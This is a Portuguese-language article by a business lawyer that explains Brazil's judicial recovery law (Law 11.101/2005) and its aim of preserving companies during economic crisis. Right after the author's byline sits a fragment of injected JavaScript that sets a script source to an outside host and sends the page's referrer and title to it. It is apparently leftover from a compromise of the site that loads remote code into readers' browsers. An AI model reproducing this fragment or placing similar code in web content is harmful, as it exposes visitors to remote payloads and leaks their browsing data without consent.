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ARTIGO: Conhecendo e desmitificando a recuperação judicial

ARTIGOSO Brasil passa por uma crise econômico-financeira advinda de inúmeros fatores internos e externos, tais quais os escândalos de corrupção diuturnamente noticiados nos meios de comunicação, a má gestão da economia pelos nossos governantes, de um momento de especial conturbação política e econômica tanto no país, quanto no cenário internacional, dentre outros elementos notórios, de forma que as empresas acabam por sofrer com todo esse panorama negativo que, via de consequência, provocam a alta das taxas de juros, a diminuição dos créditos bancários, a elevação dos impostos e a diminuição do poder de compra dos consumidores, fatores que por si só aumentam o risco empresarial onerando-as demasiadamente.
Diante do panorama de crise econômica que, mesmo dentre os mais otimistas, tem a previsão de continuidade até 2017, as empresas, as maiores atingidas em todos esse aspecto, não podem quedar-se inertes em face a todos os percalços inerentes a sua atividade econômica, de tal forma que o instituto de Recuperação Judicial vem ganhando força principalmente em nossa região norte do Estado, sendo que aproximadamente pouco mais de 10 empresasjá fizeram uso das benesses do instituto no ano em curso, demonstrando, assim, a tendência do mercado e o futuro de nossa economia na utilização dessa ferramenta salutar para o soerguimento da atividade de empresas em dificuldade financeira. A Recuperação Judicial não é um instrumento que surgiu da noite para o dia. Ela é fruto de uma evolução considerável em relação à maneira com que o Estado brasileiro costumava lidar com empresas em dificuldades e, além disso, pode ser considerada uma evolução de mentalidades que tem suas raízes fincadas na pré-história do Direito, porém em consonância com as mais modernas legislações internacionais sobre o tema. Assim, se trata de um mecanismo que visa auxiliar as empresas e empreendimentos que se encontram em dificuldades financeiras à superarem a crise momentânea, com especial preocupação para a manutenção da fonte produtora, a preservação da empresa e de sua função social, bem como a garantia dos interesses dos credores. É inegável, portanto, que a lei nº 11.101, de 9 de fevereiro de 2005 – (Lei que regula a recuperação judicial), constitui um avanço, não só por ampliar expressivamente os meios de recuperação da empresa, bem como por conclamar todos os interessados a participar do processo de superação da crise por meio da assembleia ou mesmo integrando o comitê de credores.
Nesse viés, o presente instituto tem por meta sanear a situação gerada pela crise econômico-financeira da empresa devedora. Nela, o devedor postula um tratamento especial, justificável, para remover a crise econômico-financeira de que padece sua empresa. Seu objeto imediato é salvaguardar a atividade empresarial em risco e seu objeto imediato é a satisfação, ainda que atípica, dos credores, dos empregados, do Poder Público e, também, dos consumidores.1
Como dispõe o art. 47 da Lei n 11.101/2005 in verbis “a recuperação judicial tem como objetivo de viabilizar a superação da situação de crise econômico-financeira do devedor, a fim de permitir a manutenção da fonte produtora, do emprego dos trabalhadores e dos interesses dos credores promovendo, assim, a preservação da empresa, sua função social e o estímulo a atividade econômica”.
A autora Lídia Valério Marzagão, na obra Comentários à Nova Lei de Falências e Recuperação de Empresas , traz o seguinte entendimento:
“Trata-se de importante instrumento para o desenvolvimento do nosso País, pois o coloca em igualdade com as legislações mais modernas do mundo, na atual era da globalização, fenômeno universal que mantém relações industriais, mercantis e de serviços em franca disputa por espaços econômico entre nações desenvolvidas.”2 Em concomitância ao dispositivo amplamente discutido, percebe-se que a recuperação judicial tem como escopo a superação da empresa no momento de crise. Pois, sendo a crise superada, os benefícios atingidos pela empresa são inúmeros, tais como a manutenção da fonte produtora de bens para a sociedade, a continuidade dos postos de trabalho, o recolhimento de impostos e indiretamente os interesses dos credores,eis que estes poderão continuar exercendo o seu vínculo negocial. Enfim, é uma equação em que todos saem ganhando: a recuperanda, que consegue permanecer no mercado; os empregados, que mantém os seus postos de trabalho; os credores, que recebem valores que de outra forma não receberiam e o governo, que continua recolhendo impostos com a geração de riquezas proporcionada com a manutenção da atividade empresarial. A isso que se chama de “função social da empresa”, que se constitui no objetivo maior que a Lei de Recuperação de Empresas procura albergar. Por isso, ao contrário do revogado Decreto Lei nº 7.661/1945, em que os interesses dos credores eram atendidos substancialmente à partir da liquidação do patrimônio do devedor, pode-se afirmar que, em observância ao princípio da preservação da empresa, os interesses dos credores ficam subordinados à superação da crise da empresa. Assim, o instituto da recuperação judicial deve ser visto como mais um incentivo ao empreendedorismo, uma vez que se pode contar com essa ferramenta em caso de uma crise que venha a afetar a atividade empresarial, não sendo nenhum exagero afirmar que todos os empresários devem conhecer o mencionado instituto para, se for o caso, lançar mão dele para superar o grave panorama econômico apontado e soerguer a sua atividade dentro do balizamento legal.

Nícolas Massaharu Ishitani, é advogado empresarial especialista em gestão pública.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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